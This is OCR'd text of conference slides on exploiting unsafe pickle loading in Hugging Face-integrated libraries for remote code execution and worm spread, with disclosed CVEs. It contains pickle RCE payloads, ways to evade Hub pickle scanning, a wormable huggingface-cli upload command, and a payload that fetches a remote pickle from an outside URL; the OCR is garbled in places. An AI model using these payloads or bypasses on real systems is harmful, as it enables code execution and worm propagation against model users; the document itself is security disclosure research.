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* Hugging Face Hub and pickle model



Hugging Face Hub
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Serialization Formats

[1] https://huggingface.co/docs/hub/models-libraries



Hugging Face Hub
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Serialization Formats

[1] https://huggingface.co/docs/hub/models-libraries



The Pickle

=

File
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\ Database
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Memory

[2] https://www.datacamp.com/tutoriaI/pickle-pytho7n-tutorial



Unpickler Example

0: \x80 PROTO 3
2:} EMPTY_DICT
3:q BINPUT O
5:X  BINUNICODE 'sym2idx’

17:q BINPUT 1
b"\x80\X03}q\X0OX\X07\x 19: ¢ GLOBAL ‘collections OrderedDict'
00\Xx00\x00sym2idxq\x01 44:q BINPUT 2
ccollections\nOrderedDic ~ Pickletools.dis 46: ) EMPTY_TUPLE _ {'sym2idx'":
t\nq\xOZ)Rq\xO3(X\x05\x — i; R E:EI\IIDPUUC_IF . p|ckle.loads OrderedDict([('<eos>', 0);
00\x00\x00<eos>q\x04K\ 50; ? T = (‘the’, 1)])}
’;OQX(\)EOKE;\XOO\XPO\XOOth 51:X  BINUNICODE '<eos>"

GBSO, 61:q  BINPUT 4

63: K BININT1 O

65: X BINUNICODE 'the'

73:q BINPUT 5

75: K BININT1 1

77:u SETITEMS (MARK at 50)

78:s SETITEM

79:. STOP

[3] Marco Slaviero, "Sour Pickles - A serialised exploitation guide in one part", Black?—lat 2011.



The Vulnerable code

Object with
__reduce__ (self)

U

def load_reduce(self):

stack = self.stack

args = stack.pop()

func = stack[-1]

stack[-1] = func(*args)
dispatch[REDUCE[@]] = load_reduce

def load_bvild(self):

stack = self.stack

state = stack.pop()

inst = stack[-1]

setstate = getattr(inst, "__setstate__"

if setstate is not None:
setstate(state)
return

None)

)

Object with
___Setstate

[4] https://github.com/python/cpython/blob/3.12/Lib£7pickle.py



The Vulnerable code

Object with
__reduce__ (self)

U

def load_reduce(self):
stack = self.stack
args = stack.pop()

func = stack[-1] —-5\\:>
stack[-1] =| func(*args)

dispatch[REDUCE[@]] = load_reduce

def load_bvild(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]

setstate = getattr(ins{,
<::::\\ii—fetstate is not Nong:
setstate(state)

return

"__setstate__", None)

)

Object with
___Setstate

[4] https://github.com/python/cpython/blob/3.12/Li|5(}pickle.py



The Vulnerable code

0: \x80 PROTO 3 def load_build(self):
2: GLOBAL : ' Obj "
20: ? EMPTY TUPLE —"aEh— SOmETR stack = self.stack
21: \x81 NEWOBJ -
22:'}  EMPTY DICT state = stack.pop()
23: ( MARK : ~
24: V UNICODE ' setstate ' inst = stack[-1]
38: ¢ GLOBAL 'os system’ — - " n
29: 4 SETITEMS  (MARK at 23) setstate = getattr(insy, "__setstate__", None)
50: b BUILD : o
51: V. UNICODE  'touch HACKED' 1f setstate 1s not No
gag o By setstate(state)
66: .  STOP
return
def load_reduce(self):
0: \x80 PROTO 3
stack = self.stack 2: C GLOBAL 'posix system'
16: X  BINUNICODE 'touch HACKED'
args = stack.pop() 33: \x85 TUPLE1

34: R REDUCE
func = stack[-1] ——5\\j> 35: . STOP
stack[-1] = func(*args)

dispatch[REDUCE[@]] = load_reduce

[5] https://github.com/trailofbits/fickling .
[6] Evan Sultanik and William Woodruff, “Never a dill moment: Exploiting machine learning pickle files” DEF CON Al Village 2021.



[9] https://github.com/pytorch/pytorch/blob/v2.1.0/torch/serialization.py

[ ] [ ]
torch. C._log_api_usage_once("torch.load")
orch in Pickle War
"Weights only load failed. Re-running "torch.load™ with “weights_only  set to "False "

" will likely succeed, but it can result in arbitrary code execution."”

. : . "Do it only if you get the file from a trusted source. WeightsUnpickler error: "
[7] https://github.com/pytorch/pytorch/issues/52596 :

H H _ H ] # Add ability to force safe only weight loads via environment variable
pICkle IS a SeCUth Issue if os.getenv("TORCH_FORCE_WEIGHTS_ONLY_LOAD", "0").lower() in ['1', 'y',6 'yes', 'true']:

0 welghts_only = True
[10] https://github.com/pytorch/pytorch/blob/v2.1.0/torch/_weights_only_unpickler.py
def _get_allowed_globals():
rc: Dict[str, Any]l = {
"collections.OrderedDict": OrderedDict,
"torch.nn.parameter.Parameter®: torch.nn.Parameter,
"torch.serialization._get_layout": torch.serialization._get_layout,
"torch.Size": torch.Size,
Motivation "torch.Tensor": torch.Tensor,

KOLANICH ¢

&7 Feature

for t in [
torch.complex32,
torch.complexé4,
torch.complex128,
torch.floatlo,
torch.float32,
torch.floaté4,
torch.int8,
torch.intls,
torch.int32,

vadimkantorov ne b . ad butor |+ torch.intoé4,

relstr(t)] = t

for tt in torch. _tensor_classes:
re[f={tt.__module__}.{tt.__name__}"] = tt
but this didn't get
) for ts in torch. _storage_classes:
s @bdhirsh re[f"{ts.__module__}.{ts.__name__}"] = ts
for £ in [
torch. utils. _rebuild_parameter,
torch. _utils._rebuild_tensor,
torch._utils._rebuild_tensor_v2,
torch._utils._rebuild_sparse_tensor,
torch._utils._rebuild_meta_tensor_no_storage,

module:hub  module: serialization  ({ENR)
rc[f"torch._utils.{f.__name__}"] = f

pickle is a security issue

rc[*torch._tensor._rebuild_from_type_v2"] = torch._tensor. rebuild_from_type_v2
r :‘t.. rn rc

[8] https://github.com/pytorch/pytorch/issues/52181
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The War continues in Hugging Face (HF)

torch.load pickle.load(s)

@) Transformers /33 K3 PaddleNLP SpeeChBrain fl r m X m(!IEIITok @ TensorFlowTTS
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The War continues in Hugging Face (HF)

PICKLE SCANNING

torch.load pickle.load(s)

@Trangfgrmerg % ./_5/.5@;?; PaddleNLP SpeechBrain fl r m . MIDITOK © TensorFlowTTs
o ster

&) «l # Stanza ~ean NeMo i dectR AllenNLPg D\ffusers @ (learn
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Agenda

* Discovering unsafe pickle.loads
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What is unsafe pickle.loads

File under user’s control

def convert_maskformer_checkpoint(
model_name: str, checkpoint_path: str, pytorch_dump_folder_path: str, push_to_hub: bool = False

Copy/paste/tweak model's weights to our MaskFormer structure.

config = get_maskformer_config(model_name)

# load orliginal state_dict

with open(checkpoint_path, "rb") as f:
data = pickle.load(f)

state_dict = datal"model”]

pickle.load() is unsafe

[11] https://github.com/huggingface/transformers/blob/v4.34.1/src/transformers/modeIs/maskformer/convert_maskformer_swin_lfso_pytorch.py



Exploitable from HF Official Guidelines

The exploit triggered by
repo’s “How to™

<[> How to use from the =« Transformers @ library

COPY them i Cotie

to run




Exploitable from HF Official Guidelines

[12] https://huggingface.co/docs/hub/rl-baselines3-zoo

Using RL-Baselines3-Zoo at Hugging Face

rl-baselines3-zoois a training framework for Reinforcement Learning using Stable Baselines3

Exploring RL-Baselines3-Zoo in the Hub

You can find RL-Baselines3-Zoo models by filtering at the left of the models page.

The exploit triggered by
following HF’s Docs

Using existing models

1load a model from the Hub using load_from_hub:




Unsafe pickle.load(s) in Integrated Libraries

No.

Vendor

Hugging Face

HF Library

transformers@v4.34.0

# of pickle.load(s) # of unsafe # of HF exploitable

w

Baidu

PaddleNLP@v2.6.1

Meta Research

mbrl-lib@v0.2.0

NVIDIA

NeMo@v1.21.0

fast.ai

fastai@2.7.13

flairNLP

flair@v0.13.0

Unity Technologies

huggingface/ml-agents@main

DLR-RM

rl-baselines3-zoo@v2.1.0

1
2
3
4
5
6
7
8
9

DLR-RM

stable-baselines3@v2.1.0

Aleksei Petrenko

sample-factory@v2.1.1

skops-dev

skops@v0.9.0

SpeechBrain

speechbrain@v0.5.15

Stanford NLP

Stanza@v1.6.1

Hugging Face

pytorch-image-models/timm@v0.9.10

Code review for 33 integrated HF libraries,

Meta Research

Two CVEs assigned by

fairseq@v.0.12.3

O|l0o|j]0o|lO0O|O0O|O|P,r|O|J]OCO|OC|lOC|OC|FL|F

[SEN I NSRS I I TU T S SN I I NG I NG T IO T
o|lvV]|w|lw|lrRr|lolw| N[N &

unsafe pickle.load(s) found in ' ° libraries and © exploitable from HF official usage

: CVE-2023-6730, CVE-2023-7018 L




Agenda

* Exploiting for reversed RCE
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Threat Model

Hugging Face Hub

Victim users

21



Exploiting for Reversed RCE

‘ enerate
/8

Hugging Face Hub

pickle file

g .. Reversed RCE

T execute by unsafe pickle.loads

.

e
ez

Victim users

22



RCE Payloads

b'\x80\x03cposix\ns

ystem\nq\x00X\x0c\ pickletools.dis

x00\x00\x00touch
HACKEDQ\x01\x85q\
x02Rg\x03.'

—

0:
2:
16
18
35
37
38
40
41

43: .

\x80 PROTO 3
c GLOBAL ‘'posix system'
:q BINPUT O

: X BINUNICODE 'touch HACKED'

:q BINPUT 1
- \x85 TUPLE1

:q BINPUT 2
R REDUCE

:q BINPUT 3
STOP

pickle.loads
——

def _ reduce__ (self):
return (os.system, (‘touch HACKED',))

23



RCE Payloads

b'\x80\x03cposix\ns

ystem\nq\x00X\x0c\ pickletools.dis

x00\x00\x00touch
HACKEDQ\x01\x85q\
x02Rg\x03.'

—

0:
2:
16
18
35
37
38
40
41

43: .

\x80 PROTO 3
c GLOBAL ‘'posix system'
:q BINPUT O

: X BINUNICODE 'touch HACKED'

:q BINPUT 1
- \x85 TUPLE1

:q BINPUT 2
R REDUCE

:q BINPUT 3
STOP

pickle.loads
——

def _ reduce__ (self):
return (os.system, (‘touch HACKED',))

24



Agenda

* Bypass pickle scanning



Pickle Scanning

Zpbrent Upload

Eitattributes

README.md

26



In-depth

Detected Pickle imports (3)

"posix.system",

"collections.OrderedDict",

How to fix it?

27



In-depth

White list

torch.LongStorage
collections.OrderedDict

torch.FloatStorage
torch._utils._rebuild_te

Display in white

Detected Pickle imports (3)

system'

r

"collections.OrderedDict",

How to fix it?

posix.system
builtins.eval

builtins.getattr
builtins.exec

Orange others

Display in orange

28



In-depth

White list

torch.LongStorage
collections.OrderedDict

torch.FloatStorage
torch._utils._rebuild_te

Display in white
No alert

Detected Pickle imports (3)

system'

r

"collections.OrderedDict",

How to fix it?

posix.system
builtins.eval

builtins.getattr
Builtins.exec

Orange others

Display in orange
No alert

29



The Art of Bypass




Trick 1: Code Reuse

Vulnerable library or its dependencies

/Gadget

Class

-

Gadget

[wn/

Gadget

Class

-

Gadget

[/

Gadget \

Gadget

Eion/

v

Pickle file

.

)

Gadget

Gadget

Display in orange
No alert

Reuse orange functions =




Trick 1: Code Reuse (More Sophisticated)

Vulnerable library or its dependencies

sssss

Pickle file
Gadget
.
-
Gadget

Display in orange
No alert




Trick 2: CONFIG Abuse

Hugging Face Hub

&
>
S
o
&

> >
=
%i
L
%Q’

parse
—

Vulnerable Libraries

Display in white
No alert

33



Trick 3: Format Encode

Other formats, e.g., JSON, XML etc.

base64encode

base64encode

It is a JSON,
Not a pickle file™\

Display in white
No alert

34



Agenda

* Weaponizing by wormable payloads
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Threat Model Extended




Threat Model Extended




Threat Model Extended




Threat Model Extended




Wormable Payloads

huggingface-cli upload | ] [cache path]/model--["]--|

]/snapshots/*/ 2>/dev/null 1>/dev/null

40



Wormable Payloads

The cache path in victim’s local machine

By default:
~/.cache/huggingface/hub/
~/.paddlenlp/models/

A

huggingface-cli upload [ ] [cache path]/model--["]--| ]/snapshots/*/ 2>/dev/null 1>/dev/null

l

To eliminate info. displayed in terminal

41



Wormable Payloads

huggingface-cli upload RagRetriever ~/.cache/huggingface/hub/model--*--RagRetriever/snapshots/*/ 2>/dev/null 1>/dev/null

42



Agenda

* Demo & video & takeaway



Demo Summary

Bypass
Tricks

transformers@v4.34.0 src/transformers/models/rag/retrie RagRetriever touch HACKED [ CONFIG Abuse
val rag.py#L135
src/transformers/models/rag/retrie .
2 |transformers@v4.34.0 RagRetriever touch HACKED-2(CONFIG Abuse| Yes
val rag.py#L144
src/transformers/models/transfo_xl
3 |transformers@v4.34.0 . transfo-xl touch HACKED | Code Reuse Yes
/tokenization_transfo_xl|.py#L210

HF Library Vulnerable Code Model Demo Location Reversed RCE Worm

PaddleNLP@v2.6.1 paddIenIp/tlfansformers/erme/toke ErnieTiny touch HACKED | Code Reuse Yes
nizer.py#L678
stable- stable baselines3/common/save u :
. - - Yi
ﬂ baselines3@v2.1.0 tl.py #1164 FEBehlerin _ touch HACKED [Format E”°°de

The Vendors involved in Exploitable Libraries

) HuggingFace OQMeta /3P E®pPaddeNp 42

24


https://huggingface.co/zpbrent/RagRetriever
https://huggingface.co/zpbrent/RagRetriever
https://huggingface.co/zpbrent/transfo-xl
https://huggingface.co/zpbrent/PaddleNLP-ErnieTiny
https://huggingface.co/zpbrent/basic-mbrl
https://huggingface.co/zpbrent/a2c-LunarLander-v2

Demo Summary

Bypass
Tricks

transformers@v4.34.0 src/transformers/models/rag/retrie RagRetriever touch HACKED [ CONFIG Abuse
val rag.py#L135
src/transformers/models/rag/retrie .
2 |transformers@v4.34.0 RagRetriever touch HACKED-2(CONFIG Abuse| Yes
val rag.py#L144
src/transformers/models/transfo_xl
3 |transformers@v4.34.0 . transfo-xl touch HACKED | Code Reuse Yes
/tokenization_transfo_xl|.py#L210

HF Library Vulnerable Code Model Demo Location Reversed RCE Worm

PaddleNLP@v2.6.1 paddIenIp/tlfansformers/erme/toke ErnieTiny touch HACKED | Code Reuse Yes
nizer.py#L678
stable- stable baselines3/common/save u :
. - - Yi
ﬂ baselines3@v2.1.0 tl.py #1164 FEBehlerin _ touch HACKED [Format E”°°de

The Vendors involved in Exploitable Libraries

V) HuggingFace () Meta P &% PaddieNLP 4#7



https://huggingface.co/zpbrent/RagRetriever
https://huggingface.co/zpbrent/RagRetriever
https://huggingface.co/zpbrent/transfo-xl
https://huggingface.co/zpbrent/PaddleNLP-ErnieTiny
https://huggingface.co/zpbrent/basic-mbrl
https://huggingface.co/zpbrent/a2c-LunarLander-v2

Demo 1: RagRetriever - Overview

Phishing to

from_pretrained

config.json

\
AY
AY
\
\

<
parse confi.json to trigger
implicit download

o -

pzhoutest

victim

Backend

Implicit download

=

psgs_w100.tsv.pkl

4
@ Transformers »

[

psgs_w100.tsv.pkl

@) Transformers

Infected

HACKED
file
&

pzhoutest

victim

@ Transformers

46



Demo 1: RagRetriever — Code Path 8 anciome:

@] ciclass RagRetriever:

Source
@classmethod
ol def from_pretrained(cls, retriever_name_or_path, indexed_dataset=None, **kwargs)
requires_backends(cls, backends: ["datasets®, "faiss"]) el fc
config = kwargs.pop("config”, None) or RagConfig.from_pretrained(retriever_name_or_path, **kwargs)
rag_tokenizer = RagTokenizer.from_pretrained(retriever_name_or_path, config=config)
question_encoder_tokenizer = rag_tokenizer.guestion_encoder

s RagRetriever:

@staticmethod
def _build_index(config):
if config.index_name == "legacy":

generator_tokenizer = rag_tokenizer.generator
if indexed_dataset is not None:
config.index_name = "custom"

398 L return LegacyIndex(
index = CustomHFIndex(config.retrieval_vector_size, indexed_dataset) : 3
. config.retrieval_vector_size,
else: ..
T ~ - ; 3 : config.index_path or LEGACY_INDEX_PATH,
index = cls. build_index(config) [N How to use from the ¢ Transformers library )
return cls(
config,

question_encoder_tokenizer=guest
generator_tokenizer=generator_to
index=index,

class LegacyIndex(Index):

INDEX_FILENAME = "hf_bert_base.hnswSQ8_correct_phi_128.c_index"
PASSAGE_FILENAME = "psgs_wl180.tsv.pkl"

def __init__(self, vector_size, index_path):

[13] https://github.com/huggingface/transformers/blob/v4.34.1/src/transformers/models/rag/retrieval_rag.py seL dnoex i todb_id = LI

self.index_path = index_path

108 [ ] self.passages = self.Lload_passages{]
self.vector_size = vector_size
self.index = None
self._index_initialized = False

class LegacyIndex(Index): class LegacyIndex(Index):
def _resolve_path(self, index_path, filename): def _load_passages(self):

is_local = os.path.isdir(index_path) logger.info(f"Loading passages from {self.index_path}"

try: 4_______________________; passages_path = self._resolve_path(self.index_path, self.PASSAGE_FILENAME)
# Load from URL ache if alrea ached with open(passages_path, "rb") as passages_file:
resolved_archive_file = cached_file(index_path, filename) passages = pickle.load(passages_file)

I L return passages
Fetch PASSAGE_FILENAME from self.index_path by hf _hub_download()
Class attribute PASSAGE_FILENAME of transformers.models.rag.retrieval_rag.legacyIndex 47

PASSAGE_FILENAME: Any = "psgs_wl00.tsv.pkl" =



Demo 1: RagRetriever — Bypass Trick

@] riclass RagRetriever:

mam mmn

zpbrent/RagRetriever/config.json

I @staticmethod
i def _build_index(config):
"architectures": [ : - 0 os
. if config.index_name == "legacy": i i
RagRetriever 398 . return LegacyIndex( https://huggingface.co/zpbrent/RagRetriever
1, config.retrieval_vector_size,
"dataset": "wiki_dpr", config.index_path or LEGACY_INDEX_PATH, e
"dataset_split®: "train®, )
"do_deduplication": true,
"do_marginalize": false,
"doc_sep": " [/ " '- ! Files and versions
"exclude_bos_score": false,
- - - ® zpbrent/RagReuse T  privae
11 "generator”: H _num_labels®: 3...}, D T
"index_name®: "legacy", icense: mit

"index_path": "zpbrent/RagReuse",
"is_encoder_decoder": true,
"label_smoothing": 8.8,

v Mu@ ‘I~ Files and versions @ Community Settings
: ! 49,
"max_combined_length®: 380, &]

P main~  RagRef /

"model_type": "rag",
"n_docs": 3,
"output_retrieved": false,
"passages_path": null,
"question_encoder”: {"add_cross_attention": false...}, L Pl

e file that has b%rl—:ed as unsafe.

"reduce_loss": false, gitattributes
"retrieval_batch_size": 8

Upload p 00.tsv. pé@ﬁmo
“/

"retrieval_vector_size": 768,
"title_sep": " [ ", hf_bert_base.hnswSQ8_correct_phi_128.c_i...
"use_dummy_dataset": false,

"vocab_size": null
1 psgs_w100.tsv.pkl

README.md

Display in white
No alert

hf_bert_base.hnswSQ8_correct_phi_128.c_i...

48


https://huggingface.co/zpbrent/RagRetriever
https://huggingface.co/zpbrent/RagReuse

Demo 1: RagRetriever — Bypass Trick

A long file name of the malicious pickle can bypass the scanning too

RagReuseNoAlexrt O @ like

0: \x80 PROTO 3
@ zpbrent Upload folder using huggingface hub  8asoffc 2: C GLOBAL 'pOSiX System'
S 16: X BINUNICODE 'touch HACKED'
.gitattributes : 33: \x85 TUPLE1

34: R REDUCE
35: . STOP

README.md

49



emo 1: RagRetriever — How to

ay— =

— $ huggingface-cli login --token [your token with write permission]

$ python test.py

</> How to use from the = Transformers library

test.py

# Load model directly

from transformers import AutoTokenizer, RagRetriever

tokenizer = AutoTokenizer.from pretrained("zpbrent/RagRetriever")
model = RagRetriever.from pretrained("zpbrent/RagRetriever")

Read model do

Read our le

o J

‘ AN

50


https://huggingface.co/zpbrent/RagRetriever

Video 1: Demo 1 - RagRetriever

= 4 I ST araton : a

pzhou@hf-worm-demo: $ cat README
This demos how to exploit unsafe pickle.load from RagRetriever models for reversed RCE and even worm infection over huggingface platform

I
1), we have an attacker huggingface account “zpbrent" and a victim one "pzhoutest"

2), the attacker "zpbrent" deploys a malicious RagRetriever model "zpbrent/RagRetriever" for phishing. Note that the huggingface performs a pickle scannin
g to laert "unsafe file" for malicious pickle files, such as the malicious repo deployed at "zpbrent/RagReuse". However, our phishing model "zpbrent/RagRe
triever" can completely bypass this scanning using the trick "Config Redirect”

3), the victim "pzhoutest" do not have the RagRetriever model "pzhoutest/RagRetriever" before being attacked, and also no "HACKED" and "HACKED-2" files in
the disk

4), for reversed RCE, the pre-requisite is the victim "pzhoutest" has been attracted by the pretrained model deployed at repo "zpbrent/RagRetriever".
4.1), s/he finds this repo nothing "unsafe" and thus downloads this pretrained model using huggingface's official from pretrained function RagRetriever.fr
om_pretrained("zpbrent/RagRetriever")

4.1), the victim observes the model downloading complete
4.3), but meanwhile the "HACKED" and "HACKED-2" files have been illegally created in the disk (meaning the success of reversed RCE)

5), for worm infection, an additional pre-requisite is the victim "pzhoutest” has readily logged in huggingface with a written permission (huggingface-cli

login --token xxx) when running the official from pretrained function for downloading
5.1), a new repo "pzhoutest/RagRetriever" has been implicitly created and uploaded in victim “pzhoutest"'s account, with the same contents of “zpbrent/Rag

Retriever" (meaning the success of worm infection)
pzhou@hf-worm-demo: Y |

https://zpbrent.github.io/pocs/bhasia24/demo-RagRetriever-worm.mp4
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Demo 2: ErnieTiny - Overview

Hugging Face Hub

HOST YOUR WEBSITE ON

GitHub Pages

Infected

.touch.pkl

Phishing to

from_pretrained

[ payload

dict.wordseg.pickle

pickle.load -> execute payload

4
[ payload
' ' .touch.pkl HACKED
dict.wordseg.pickle fl
Y-

ay— —

victim victim

HF login not required HF login not required
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https://zpbrent.github.io/pocs/touch.pkl

emo 2: ErnieTiny — Code Path

How to use from the paddlenlp

[16] } [Jclass PretrainedTokenizerBase(SpecialTokensMixin): - - -
Base ss for [ PretrainedTokenizer'] -7 RN
’/ \\
/’ A Y
_ resource_files_names: Dict[str, str] = {} & \\
-
-7 pretrained_resource_files_map: Dict[str, Dict[str, str]] = {} \\
-
_-n pretrained_init_configuration: Dict[str, Dict[str, Anyl] = {} \
- - max_model_input_sizes: Dict[str, Optionallintl] = {} \\
o€ _auto_class: Optional[str] = None
,/ tokenizer_config_file = TOKENIZER_CONFIG_NAME
’
’
!
: + iclass PretrainedTokenizer(ChatTemplateMixin, PretrainedTokenizerBase):
\ Base class for all tokenizers [15]
\
\
\
\ — . 3 .
glass ErnieTinyTokenizer(PretrainedTokenizer)
\ . [14]
, resource_files_names = {
l’ "sentencepiece_model_file": "spm_cased_simp_sampled.model”,
~ "vocab_file": "vocab.txt",
SN - - - D . o
*word_dict®: *dict.wordseg.pickle®, IIl]CCthIl p()lnt (end)
}

pretrained_resource_files_map = {
"vocab_file": {"ernie-tiny": "https://bj.bcebos.com/paddlenip/models/transformers/ernie_tiny/vocab.txt"},
"sentencepiece_model_file": {
"ernie-tiny": "https://bj.bcebos.com/paddlenlp/models/transformers/ernie_tiny/spm_cased_simp_sampled.model"”
Fg
"word_dict": {
"ernie-tiny": "https://bj.bcebos.com/paddlenlp/models/transformers/ernie_tiny/dict.wordseq.pickle"

[14] https://github.com/PaddlePaddle/PaddleNLP/blob/v2.6.1/paddlenlp/transformers/ernie/tokenizer.py
[15] https://github.com/PaddlePaddle/PaddleNLP/blob/v2.6.1/paddlenlp/transformers/tokenizer_utils.py
[16] https://github.com/PaddlePaddle/PaddleNLP/blob/v2.6.1/paddlenlp/transformers/tokenizer_utils_base.py

def EEERTES(
self,
vocab_file,
sentencepiece_model_file,
word_dict,

(14]

if not os.path.isfile(vocab_file):
if not os.path.isfile(word_dict):
self.dict = pickle.load(open(word_dict, "rb"))

Sink

ss PretrainedTokenizerBase(SpecialTokensMixin)

-
-

I
~

5/3 K32 PaddleNLP

library

(16]

Source

pretrained_model_name_or_path = str(pretrained_model_name_or_path)
cache_dir = kwargs.pop("cache_dir®, None)
from_aistudio = kwargs.pop("from_aistudio”, None)

cache_dir = resolve_cache_dir(pretrained_model_name_or_path, from_hf_hub, cache_dir)
vocab_files = {}

init_configuration = {}

additional_files_names = {...}

vocab_files_target = {#*cls.resource_files_names, **additional_files_names}
elif os.path.isdir(pretrained_model_name_or_path):
~ ~, vocab_files_target["tokenizer_config_file"] = cls.tokenizer_config_file
I for file_id, file_name in vocab_files_target.items():
: full_file_name = os.path.join(pretrained_model_name_or_path, file_name)
\ if os.path.isfile(full_file_name):
NSioe wocal files[file_id] = full_file_name
for file_id, file_patﬁ-fz-QSEaa_files.itemS[];
i fiLe_patj_i;—ﬁ?f? or os.path.isfile(file_path):
-if,fa-mjai'studio .

Iis ~ elif from_hf_hub:

N resolved_vocab_files[file_id] = hf_hub_download(
~ repo_id=pretrained_model_name_or_path,
filename=file_path,
subfolder=subfolder,
cache_dir=cache_dir,
library_name="PaddleNLP",
library_version=__version__,

Injection point (start)

J
for args_name, file_path in resolved_vocab_files.items():
if args_name not in init_kwargs:
init_kwargs[args_name] = file_path
: TODO(guosheng) : avoid reduplication of position args and key word args 53
tokenizer = cls(*init_args, **init_kwargs)



Demo 2: ErnieTiny — Bypass Trick

0: \x80 PROTO

2: ¢C GLOBAL

30: q BINPUT

32: X BINUNICODE
77: q BINPUT

79: X BINUNICODE
94: q BINPUT

96: \x86 TUPLE2

97: q BINPUT

99: R REDUCE
100: q BINPUT
102: © POP
103: \x80 PROTO
105: ¢ GLOBAL
154: q BINPUT
156: c GLOBAL
207: q BINPUT
209: X BINUNICODE
222: q BINPUT
224: \x86 TUPLE2
225: q BINPUT
227: R REDUCE
228: q BINPUT
230: X BINUNICODE
245: q BINPUT
247: \x85 TUPLE1
248: q BINPUT
250: R REDUCE
251: q BINPUT
253: 0 PoP

3
‘urllib.request urlretrieve' ()range
0
"https://zpbrent.github.io/pocs/touch.pkl’
1

' .touch.pkl'

2

3

4

Orange
3 8

'paddlenlp.transformers.gpt.modeling pp get attr
)

'paddlenlp.taskflow.utils WordTagRelationExtractor'
6

‘from_pkl' Orange
7

8

9
'.touch.pkl'
10

11

12

zpbrent/PaddleNLP-ErnieTiny/dict.wordseg.pickle

1 urllib

depends

5/3 Z 32 PaddleNLP

def get_attr(layer, name):
if getattr(layer, name, None) is not None:
return getattr(layer, name, None)

return get_attr(layer. layer, name)

def from_pkl(cls, pkl_path):
"""Implement an instance from a serialized pickle package."""
with open(pkl_path, "rb") as fp:
schema = pickle.load(fp)
return cls(schema)

PaddleNLP-ExrnieTiny ©

B Chinese

Files and versions

main LP-ErnieTiny

model_state.pdparams
ecial_tokens_ma

spm_cased_simp_samg

tokenizer_config.json

vocab.txt

Display in orange

No alert
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https://huggingface.co/zpbrent/PaddleNLP-ErnieTiny

emo 2: ErnieTiny — How to

ay— =

— $ python test.py

</> How to use from the paddlenlp library X Q

test.py
from paddlenlp.transformers import AutoTokenizer, ErnieTinyTokenizer

tokenizer = AutoTokenizer.from pretrained("zpbrent/PaddleNLP-ErnieTiny",
use_auth_token=True, from_hf_hub=True)

model = ErnieTinyTokenizer.from_pretrained("zpbrent/PaddleNLP-ErnieTiny",
use_auth_token=True, from_hf_hub=True)

o J

‘ AN
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https://huggingface.co/zpbrent/PaddleNLP-ErnieTiny

Video 2: Demo 2 — paddle/ErnieTiny

18] pINOU@NI-WOrm-gemo: ~/oema o, = - ] £ 3
pzhou@hf-worm-demo: $ cat README
This demos ihow to exploit unsafe pickle.load from PaddleNLP models for reversed RCE and even worm infection over huggingface platform

I

1), we have an attacker huggingface account "zpbrent" and a victim one "pzhoutest"

2), the attacker "zpbrent" deploys a malicious PaddleNLP model "zpbrent/PaddleNLP-ErnieTiny" for phishing. Note that the huggingface performs a pickle sca
nning to alert "unsafe file" for malicious pickle files, such as "zpbrent/reuse". But our phishing model "zpbrent/PaddleNLP-ErnieTiny" can bypass this sca
nning without trigger the unsafe file alert

3), the victim "pzhoutest" do not have the PaddleNLP model "pzhoutest/PaddleNLP-ErnieTiny" before being attacked, and also no "HACKED" file in the disk
4), for reversed RCE, the pre-requisite is the victim "pzhoutest" has been attracted by the pretrained model deployed at repo "zpbrent/PaddleNLP-ErnieTiny

4.1), s/he finds this repo nothing "unsafe" and thus downloads this pretrained model using huggingface's official from pretrained function ErnieTinyTokeni
zer.from pretrained("zpbrent/PaddleNLP-ErnieTiny", from hf hub=True)

then:

4.2), the victim observes the model downloading complete

4.3), but meanwhile a "HACKED" file has been illegally created in the disk (meaning the success of reversed RCE)

5), for worm infection, an additional pre-requisite is the victim "pzhoutest" has readily logged in huggingface with a written permission (huggingface-cli
login --token xxx) when running the official from pretrained function for downloading

5.1), a new repo "pzhoutest/PaddleNLP-ErnieTiny" has been implicitly created and uploaded in victim "pzhoutest"'s account, with the same contents of “zpbr
ent/PaddleNLP-ErnieTiny" (meaning the success of worm infection)

pzhou@hf-worm-demo:

https://zpbrent.github.io/pocs/bhasia24/demo-PaddleNLP-ErnieTiny.mp4 .,


https://zpbrent.github.io/pocs/bhasia24/demo-PaddleNLP-ErnieTiny.mp4

Demo 3: a2¢ in sb3 - Overview

Infected

data
payload

a2c-LunarLander-v2.zip

a2c-LunarLander-v2
data

HACKED
& f1le

payload

a2c-LunarLander-v2.zip &
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Demo 3: a2c in sb3 — Code Path

130 def json_to_data(json_string: str, custom_objects: Optionall[Dict[

Turn JSON serialization of class-parameters back into dictiong
fir data_key, data_item in json_dict.items():
if custom_objects is not None and data_key in custom_obje]

return_dataldata_key] = custom_objects[data_key]
elif isinstance(data_item, dict) and

serialization = data_item[":serialized:"]

Usage (with SB3 RL Zoo)

Source

":serialized:" in data_item.keys():

def load(
cls: Ty 2[SelfBaseAlgorithm],
path: Union!str, pathlib.Path, io.BufferedIOBase],
env: Optionalle,;mEnv] = N
device: Union[th.device, str] = "aute®,

rustom_objects: OptionaiDict[str, Anyl]l = None,

ry:
baseé4_object = base6d.bb4decode(serialization.encode())
deserialized_object = cloudpickle.loads(baseb4_object)
Sink
367 def load_‘rom_zip_file(

load_path: Union[str, patni.it Path, io.BufferedIOBase],
load_d:ta: bool = True,
custom_tbjects: Optional[Dict[str, Anyl] = None
device: (nion[th.device, str] = "auto",
verbose: int = @,
print_systev_info: bool = False,
) -> Tuple[optio. al[Dict[str

el woiEL Tath From A iin ArchivE

TensorDict, Optional[TensorDict]]:

int_system_info: bool = Fu'se
rce_reset: bool = True

kwargs,
elfBaseAlgorithm:

orint_system_info:
princ{®-= CURRENT SYSTEM INFOD ==")
get_system_infuyl

load_path = ope: path(load_path, "r®, verbosesverbose, suffix="zip®) ta params, pytorch_variables = load_from_zip_file(

if "data™ ‘n namelist and load_data: path,
S > 29 device=device,
In] eCtlon pOInt 2r JS custom_objects=custom_objects,

json_data = rchive.read("data").decode()

print_system_info=print_system_info,

data = json_to_data(json_data, custom_objects=custom_objects) )

ss A2C(OnPolicyAlgorithm): class

nam nmw

Advantage Actor Critic (A2C)

OnPolicyAlgorithm(BaseAlgorithm):

The base for On-Policy algorithms (i

l ©class BaseAlgorithm(ABC):

maw

The base of RL algorithms

[17] https://github.com/DLR-RM/rl-baselines3-zoo/blob/v2.1.0/rl_zoo3/load_from_hub.py

if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--env", help="environment ID", type=EnvironmentName, reguired=True
parser.add_argument("-f", "--folder", help="Log folder", type=str, required=True
parser.add_argument("-orga®, "--organization®, help="Huggingface hub organization", default="sb3")
